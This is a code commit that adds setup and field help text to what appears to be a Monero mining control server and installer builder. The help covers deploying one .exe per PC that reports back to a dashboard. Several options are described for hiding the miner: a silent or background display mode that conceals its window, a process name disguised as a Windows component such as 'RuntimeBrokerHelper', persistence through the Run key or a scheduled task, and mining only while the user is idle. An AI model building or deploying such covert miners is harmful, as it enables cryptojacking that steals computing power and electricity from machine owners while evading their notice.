Upgrade dashboard, builder, and agent resource controls.

Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.

server/web/src/help/settingHelp.ts

@@ -0,0 +1,50 @@
+export const SETUP_CHEATSHEET = [
+  {
+    title: '1. Launch the server',
+    body: 'Run run.bat on your control PC. Open the dashboard at http://YOUR-LAN-IP:8989 from any device on your network.',
+  },
+  {
+    title: '2. Settings first',
+    body: 'Set your Monero wallet and pool in Settings. These become defaults for every installer you build.',
+  },
+  {
+    title: '3. Build an installer',
+    body: 'Give each machine a unique Worker Name. Build install-{name}.exe. Server URL must be your LAN IP, not localhost, so other PCs can reach you.',
+  },
+  {
+    title: '4. Deploy once per PC',
+    body: 'Copy the single .exe to a worker machine and run it once. It installs, optionally persists, and connects back to your dashboard.',
+  },
+  {
+    title: '5. Monitor',
+    body: 'Watch Dashboard and Agents for hashrate graphs, CPU/RAM, shares, and online status.',
+  },
+];
+
+export const FIELD_HELP: Record<string, string> = {
+  worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
+  server_url: 'Your control server address on the LAN. Workers connect here for jobs and stats. Use http://192.168.x.x:8989 not localhost.',
+  wallet: 'Monero wallet address where pool payouts go. Must be a valid 95-character mainnet address starting with 4.',
+  pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.',
+  pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.',
+  pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.',
+  pool_pass: 'Pool password, usually x for Monero. Some pools use wallet+worker syntax.',
+  threads: 'Fixed thread count when Thread Mode is Fixed. More threads = more hashrate but more CPU heat.',
+  thread_mode: 'Auto (% of cores) adapts to each machine. Fixed uses an exact thread count on every PC.',
+  thread_percent: 'Percentage of logical CPU cores to use when Thread Mode is Auto. 75% on an 8-core box ≈ 6 threads.',
+  max_cpu_usage_pct: 'Target ceiling for miner CPU usage. Agent throttles when reporting usage above this.',
+  max_memory_percent: 'Maximum share of system RAM the miner should respect. Helps avoid swapping on low-RAM machines.',
+  min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
+  cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
+  mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
+  idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
+  idle_duration_minutes: 'How long the machine must be idle before mining begins.',
+  schedule_start: 'For Scheduled mode: daily start time (24h).',
+  schedule_end: 'For Scheduled mode: daily stop time (24h). Can cross midnight.',
+  display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
+  process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
+  persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
+  run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
+  silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
+  auto_start: 'Same as Persistence. Keeps miner running after reboot.',
+};